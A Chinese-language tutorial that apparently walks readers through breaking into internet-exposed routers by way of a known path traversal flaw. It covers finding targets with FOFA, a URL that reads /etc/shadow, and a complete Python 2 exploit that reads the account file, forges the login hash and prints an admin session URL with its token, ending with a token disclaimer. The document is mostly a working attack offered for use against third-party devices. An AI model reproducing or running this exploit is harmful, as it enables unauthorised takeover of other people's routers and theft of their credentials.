本章讲的是这个漏洞!原理自己看https://www.seebug.org/vuldb/ssvid-98122
首先第一步我们在fofa上搜索关键词:
如下我们就能看到很多名为:
随便进入一个(我这里已经自己给自己授权了你懂的:)
进去之后如下:
然后我们在url中输入我们得测试语句如下:
http://这里是目标得ip地址/api-third-party/download/extdisks../etc/shadow 相当于说在你测试得目标后面加上:/api-third-party/download/extdisks../etc/shadow
当下载了文件即代表存在漏洞
接下来使用我提供给你得脚本(很好你离黑客又近了一步):注意这个代码是python2编写的,没有python环境得去搜索如何搭建python2环境
# -*- coding: utf-8 -*-
import os
import re
import time
import base64
import random
import hashlib
import requests
from Crypto.Cipher import AES
# proxies = {"http":"http://127.0.0.1:8080"}
proxies = {}
ip = raw_input("please input ip_address: ")
ip1 = ip+ "cgi-bin/luci/web"
# "http://192.168.31.1/api-third-party/download/extdisks../etc/config/account
ip2 = ip + "api-third-party/download/extdisks../etc/config/account"
ip3 = ip + "cgi-bin/luci/api/xqsystem/login"
def get_mac():
## get mac
r0 = requests.get(ip1, proxies=proxies)
mac = re.findall(r'deviceId = \'(.*?)\'', r0.text)[0]
# print(mac)
return mac
def get_account_str():
## read /etc/config/account
r1 = requests.get(ip2, proxies=proxies)
print(r1.text)
account_str = re.findall(r'admin\'? \'(.*)\'', r1.text)[0]
return account_str
def create_nonce(mac):
type_ = 0
deviceId = mac
time_ = int(time.time())
rand = random.randint(0,10000)
return "%d_%s_%d_%d"%(type_, deviceId, time_, rand)
def calc_password(nonce, account_str):
m = hashlib.sha1()
m.update((nonce + account_str).encode('utf-8'))
return m.hexdigest()
mac = get_mac()
account_str = get_account_str()
## login, get stok
nonce = create_nonce(mac)
password = calc_password(nonce, account_str)
data = "username=admin&password={password}&logtype=2&nonce={nonce}".format(password=password,nonce=nonce)
r2 = requests.post(ip3,
data = data,
headers={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"},
proxies=proxies)
# print(r2.text)
stok = re.findall(r'"token":"(.*?)"',r2.text)[0]
print("url:"+ip+"cgi-bin/luci/;"+"stok="+stok+"/web/home#router")
代码功能分析可以不看直接跳过:
这段代码的功能是用于从指定的 IP 地址获取设备的 MAC 地址、读取 `/etc/config/account` 文件中的账户信息,并通过对这些信息进行处理后,进行登录并获取一个 token (stok)。
代码逐行解析如下:
1. 导入所需的模块和库。
2. 定义代理设置,可选择使用代理服务器(注释中的第一行)或不使用代理(第二行)。
3. 要求用户输入 IP 地址。
4. 根据用户输入的 IP 地址拼接出不同的 URL,分别用于获取设备的 MAC 地址、读取账户信息和登录。
5. `get_mac()` 函数发送请求,从返回的页面中提取设备的 MAC 地址。
6. `get_account_str()` 函数发送请求,从返回的页面中提取 `/etc/config/account` 文件中的账户信息。
7. `create_nonce(mac)` 函数根据提供的 MAC 地址创建一个随机数。
8. `calc_password(nonce, account_str)` 函数将随机数和账户信息进行哈希运算,得到一个密码。
9. 调用之前定义的函数,获取 MAC 地址和账户信息,并使用它们生成密码。
10. 使用生成的密码和其他信息构建 POST 请求的数据。
11. 发送登录请求,并从返回的页面中提取 token (stok)。
12. 打印最终的 URL,包含获取到的 IP 地址和 token (stok)。
这段代码主要涉及网络请求、正则表达式匹配和哈希运算等操作,用于实现设备登录功能。
运行脚本:
然后:
然后运行 :
成功进入后台:
本次只做演示,不要做违法得事情,与我无关!